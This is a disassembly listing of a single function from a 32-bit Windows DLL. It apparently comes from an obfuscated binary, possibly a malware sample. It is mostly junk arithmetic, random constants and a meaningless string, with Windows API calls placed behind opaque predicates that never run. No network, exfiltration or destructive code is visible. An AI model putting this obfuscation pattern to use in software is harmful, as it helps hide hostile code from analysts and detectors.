mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x30]
je 0x1002d388
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1002d38a
mov eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
imul eax, dword [ebp - 0x1c], 0xf219
cmp dword [ebp - 0x28], eax
jg 0x1002d430
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x24], ebx
jmp 0x1002d3c3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x158], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002d3b2
mov eax, dword [ebp - 0x150]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x154]
cmp ecx, eax
mov eax, dword [ebp - 0x150]
setne dl
sub edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x3c], edx
xor edx, edx
cmp eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x18], ecx
jmp 0x1002d4df
mov dword [ebp - 0x3c], 0xffffffff
lea ecx, [ebp - 0x140]
push 2
call fcn.10005147
mov dword [ebp - 0x18], ebx
jmp 0x1002d45c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d449
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
je 0x1002d4c5
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002d492
push 0x1be1
push ebx
call dword [sym.imp.USER32.dll_CharLowerBuffW]
mov dword [ebp - 0x1c], ebx
jmp 0x1002d4be
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002d4bb
push 0x22df
push 0x10d
push 0x25d
push 0x15f5
push ebx
call dword [sym.imp.USER32.dll_SetRect]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002d497
jmp 0x1002d4cf
mov dword [ebp - 0x34], 0xfffffff9
inc dword [ebp - 0x34]
lea ecx, [ebp - 0x140]
cmp dword [ebp - 0x38], ebx
jne 0x1002d4fe
call fcn.100051ca
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002d4ef
push ebx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe8
jl 0x1002d345
jmp 0x1002d503
call fcn.100051ca
xor eax, eax
mov dword [ebp - 0x178], 7
mov word [ebp - 0x18c], ax
lea ecx, [ebp - 0x18c]
lea eax, [ebp - 0x80]
mov dword [ebp - 0x17c], ebx
push eax
call fcn.100225f4
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x1f0]
push dword [ebp - 0x7c]
movdqa xmm0, xmmword [0x1006c6f0]
lea ecx, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x1c], 0xffffffff
push eax
mov dword [ebp - 0x18], 0x816210b9
push ebx
movdqu xmmword [ebp - 0x200], xmm0
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
call fcn.100098a4
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0x60a22152
mov dword [ebp - 0x1c], ebx
jmp 0x1002d58e
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
mov dword [ebp - 0x18], ebx
jge 0x1002d58b
cmp dword [ebp - 0x18], 0xffffffe5
jle 0x1002d5e9
push 3
pop eax
mov dword [ebp - 0x38], 0xffff
mov dword [ebp - 0x1c], ebx
jmp 0x1002d5db
mov dword [ebp - 0x30], 0xbacc5d9b
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jl 0x1002d5d8
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x3c], 0xfffffffa
inc dword [ebp - 0x38]
dec dword [ebp - 0x30]
jns 0x1002d5c2
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1002d5ac
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe5
jg 0x1002d5a0
lea ecx, [ebp - 0xc4]
call fcn.100051ca
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x30], 0x73ce
cmp dword [ebp - 0x30], 0x76e6
jle 0x1002d65d
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], 0x4711
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x38], ecx
mov eax, ebx
sar eax, cl
mov ecx, 0x100792d8
cdq
push edx
push eax
call fcn.10004ea6
mov ecx, dword [ebp - 0x38]
add ecx, edi
dec dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
jne 0x1002d622
inc edi
push 0
pop ebx
cmp edi, 0x65b3
jl 0x1002d613
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x238b
jl 0x1002d611
push 0xfffffffffffffff6
pop edi
mov dword [ebp - 0x2c], 0x6d9e96bb
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x30], 0x71fe
jge 0x1002d6a4
mov edx, str.ijxhuvpp_fwqu_nhlzh_binytqow_jbjbwzowm_ugs_wvipve_kczk_vdz_jubx_juevwcsz
mov ecx, 0x100792d8
call fcn.10008ec9
jmp 0x1002d6a4
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x18], ebx
jmp 0x1002d6be
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x48], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002d6b0
mov dword [ebp - 0x1c], ebx
jmp 0x1002d87d
push 2
lea ecx, [ebp - 0xd0]
call fcn.10005147
mov dword [ebp - 0x38], 0x264a3a20
mov dword [ebp - 0x38], 0x3adab8f5
mov dword [ebp - 0x38], 0xbaf34c2
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x24], ebx
jmp 0x1002d71b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1f0], 2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002d70a
mov dword [ebp - 0x24], ebx
jmp 0x1002d739
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xd0]
mov dword [eax + ecx*4], 0xddc4ea3c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002d726
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002d755
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
sete dl
xor eax, eax
cmp edx, 0xffffffff
setne al
inc eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], 0xc298
mov dword [ebp - 0x18], ebx
jmp 0x1002d79d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], 0xa6696b49
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002d78f
push 4
pop ecx
mov dword [ebp - 0x1f0], ecx
mov edx, ecx
mov eax, dword [ebp - 0x28]
sub edx, eax
sub edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xd0]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
cmp eax, edx
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, eax
setge dl
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x38], edx
cmp dword [ebp - 0x38], ebx
je 0x1002d7ed
mov eax, dword [ebp - 0xd0]
mov ecx, esi
cmp dword [eax], ebx
jne 0x1002d7ef
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x48]
sub ecx, eax
sub ecx, 0x588d
jne 0x1002d807
mov edx, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1002d809
mov edx, esi
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xffffffff
sbb eax, eax
xor edx, edx
neg eax
lea ecx, [eax - 0xfffa]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x48]
mov eax, dword [ebp - 0x38]
add eax, 0x10c44a87
cmp eax, ecx
je 0x1002d843
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, esi
mov eax, dword [ebp - 0x1c]
setg cl
sub ecx, dword [ebp + eax*4 - 0x48]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xd0]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x160], eax
call fcn.100051ca
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002d6cb
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002d8a5
push 0xe99
push ebx
push 0x1e7
push 0x4b1
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push dword [ebp - 0xe4]
cmp dword [ebp - 0xe0], 8
lea eax, [ebp - 0xf4]
push ebx
cmovae eax, dword [ebp - 0xf4]
lea ecx, [ebp - 0x1d0]
push eax
call fcn.1002bf90
cmp eax, 0xffffffff
je 0x1002d8ea
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x18c]
push ecx
push esi
push eax
lea ecx, [ebp - 0x1d0]
call fcn.1000a07c
jmp 0x1002d8a5
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x18], 0xad9bacc5
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x3c], 0xda19ae86
mov dword [ebp - 0x18], ebx
jmp 0x1002d918
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], 0xe74bb9ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002d907
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
sub edx, eax
mov eax, dword [ebp - 0x28]
sub edx, 0xfa8f90a3
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
setle cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xbe8e
setle al
sub eax, 0xcf33
je 0x1002da32
mov dword [ebp - 0x1c], 0x6a7609fa
mov dword [ebp - 0x2c], 2
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], 0x61a7160c
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x1c]
sub edi, eax
neg edi
sbb edi, edi
inc edi
sub edi, dword [ebp - 0x1c]
neg edi
sbb edi, edi
inc edi
mov dword [ebp - 0x30], edi
je 0x1002d9a3
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
je 0x1002d9c1
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
imul edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x38], 9
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x90]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x1c]
je 0x1002da2b
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1002da2d
mov eax, esi
mov dword [ebp - 0x2c], eax
jmp 0x1002da8e
push 4
lea ecx, [ebp - 0x11c]
call fcn.10005147
mov dword [ebp - 0x18], ebx
jmp 0x1002da57
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 0x2c08f497
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002da44
mov ecx, dword [ebp - 0x11c]
xor eax, eax
mov edx, 0x8404d083
mov dword [ecx + 0xc], 7
cmp dword [ecx + 8], 0x3fdd
setg al
cmp edx, eax
sbb eax, eax
inc eax
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x11c]
call fcn.100051ca
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002dab0
push ebx
push ebx
push 0x1db
push 0x26b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
mov ecx, dword [ebp - 0x94]
lea eax, [ebp - 0x1d0]
push eax
lea edx, [ebp - 0x1b8]
call fcn.1002de2c
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x18c]
call fcn.1000587a
push ebx
push esi
lea ecx, [ebp - 0xf4]
call fcn.1000587a
push ebx
push esi
lea ecx, [ebp - 0x1d0]
call fcn.1000587a
push ebx
push esi
lea ecx, [ebp - 0x1b8]
call fcn.1000587a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x94]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret